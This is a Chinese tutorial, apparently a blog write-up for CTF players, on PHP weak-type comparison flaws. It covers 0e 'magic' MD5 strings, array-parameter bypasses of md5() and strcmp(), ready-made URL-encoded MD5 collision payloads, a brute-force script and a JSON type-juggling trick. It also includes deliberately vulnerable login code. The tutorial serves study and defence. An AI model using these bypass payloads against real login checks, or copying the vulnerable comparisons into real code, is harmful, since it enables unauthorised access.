PHP弱类型&&md5碰撞总结

PHP is the best language in the world

“php提供了很多特性供开发者使用,其中一个就是弱类型机制。它本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序的不规范而频繁报错。然而这却带来了许多安全问题。”

1.相等比较

php中有两种比较相等的符号,=====

==会先将字符串类型转化成相同再比较;

===会先判断两种字符串的类型是否相等再比较。

一个数值和字符串进行比较的时候,会字符串转换成数值。

看示例:

<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。相当于对字符串部分
intval()再和整数部分比较。为了理解清楚这一点,我们跟进php的源码看一下。也就是php内核之zval结构,定义在zend/zend.h:

typedef struct _zval_struct zval;  

struct _zval_struct {  
    /* Variable information */ 
    zvalue_value value;     /* value */ 
    zend_uint refcount__gc;  
    zend_uchar type;    /* active type */ 
    zend_uchar is_ref__gc;  
};  

typedef union _zvalue_value {  
    long lval;  /* long value */ 
    double dval;    /* double value */ 
    struct {  
        char *val;  
        int len;  
    } str;  
    HashTable *ht;  /* hash table value */ 
    zend_object_value obj;  
} zvalue_value;

通过type判断变量类型,存入value,zval.type决定了存储到zval.value的类型。这是php内核中弱类型的封装,也是后续内容的基础。

所以上述admin被转化为0,1admin转化为1,admin1却被转化为0。字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

特殊的,0e123456这样的字符串在==比较中会被识别为科学计数法,意为0的123456次幂,故0e123456==0e4456789==0

总的来说,字符串没有包含’.’,’e’,’E’并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值。

<?php
$test=1 + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3";//$test=1(int)
?>

附一个图:


2.Hash比较缺陷(md5绕过)

Level 1

来看这段代码:

<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
    $logined = true;
    $Username = $_GET['Username'];
    $password = $_GET['password'];

     if (!ctype_alpha($Username)) {$logined = false;}
     if (!is_numeric($password) ) {$logined = false;}
     if (md5($Username) != md5($password)) {$logined = false;}
     if ($logined){
    echo "successful";
      }else{
           echo "login failed!";
        }
    }
?>

代码要求用户名为纯字母字符串,密码为纯数字,且两者md5值判断相等(双=判断)即可成功登录。

在其他环境下,要完成这个md5碰撞是一件相当困难的事情,但在这里有了上一部分的基础,我们可以很容易地想到用0e开头的字符串绕过这个==判断。

有这么一批字符串对应的MD5值符合要求:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

Level 2

<?php
include('flag.php');
if (isset($_GET['src']))
highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "Wonderbubulous! Flag is $flag";
else
echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}
?>

显然,此时的参数需要单层md5()与双层md5()后判断==,则我们需要找一个0e开头的纯数字字符串,这个字符串的MD5值依旧是0e开头的。

Python2脚本:

#!python2
import hashlib
import re
def MD5(data):
    return hashlib.md5(data).hexdigest()

def main():
    a = 100000000
    while True:
        data = '0e' + str(a)
        data_md5 = MD5(data)
        a = a + 1
        if(re.match('^0e[0-9]{30}',data_md5)):
            print(data)
            print(data_md5)
            break
        if(a % 1000000 == 0):
            print(a)
if __name__ == '__main__':
    main()

得到0e215962017。

Level 3

2018年强网杯初赛【Web签到】第二关:

if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
    die("success!");

此时为===强类型,md5的结果将不再进行类型转换,直接被当做字符串比较。

此时利用md5()函数无法处理数组而将其一律置为NULL的特性,利用数组进行绕过。

POST传参param1[]=1&param2[]=2即可

Level 4

2018年强网杯初赛【Web签到】第三关

if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
    die("success!);

强类型比较且将类型转换成字符串,此时只能进行MD5碰撞。

参考How I made two PHP files with the same MD5 hash

选用这两个文本文件

用fastcoll工具生成两个md5值相同的文件

选用已有的固定的字符串进行碰撞:

param1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap

param2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2

param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2

文件传递时可使用Burpsuite的paste from files功能。

字符串传参时要注意不能直接POST参数的值,因为在传递时会被二次url编码,应该进行一次urldecode后再传递。

如图:


JSON比较绕过

<?php

 if (isset($_POST['json'])) {

    $json = json_decode($_POST['json']);
    $key ="****************";
    if ($json->key == $key) {
        //login success ,continue
        } else {
        //login failed ,return
    }

?>

PHP手册中对json_decode()的说明为“接受一个 JSON 编码的字符串并且把它转换为 PHP 变量”,若POST传参的值是string类型,那么该变量就是string,如果传入的是number,则该变量为number。

它的传输格式类似这样:

{“key”:”your input”}

把一个name为key的input的数据作为json传到服务端。

有了上文对弱类型比较的了解,我们能想到,当key的值为number类型的0时,它和纯字母字符串key的值就会判断为相等。但往往网站表单会将所有输入变为string类型,即

{“key”:”0”}

此时我们用burp拦截,去掉0的双引号即可:

{“key”:0}


4.strcmp绕过

<?php
    $password="***************"
     if(isset($_POST['password'])){

        if (strcmp($_POST['password'], $password) == 0) {
            echo "Right!!!login success";n
            exit();
        } else {
            echo "Wrong password..";
        }
?>

php手册对strcmp()的定义为

int strcmp ( string $str1 , string $str2 )

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

但当传入非字符串类型的数据的时,函数将发生错误并返回0。所以在上例中,我们只需要构造

password[]=1

即可成功绕过。

注:仅适用于5.3之前的PHP版本。


另外还有array_search()switch()等函数均存在类似的特性,有了上面的基础后都很好理解,在此不再赘述。

参考链接:

PHP网站渗透中的奇技淫巧:检查相等时的漏洞

PHP中弱类型安全总结

文章目录
  1. 1. 1.相等比较
  2. 2. 2.Hash比较缺陷(md5绕过)
    1. 2.1. Level 1
    2. 2.2. Level 2
    3. 2.3. Level 3
    4. 2.4. Level 4
  3. 3. JSON比较绕过
  4. 4. 4.strcmp绕过
|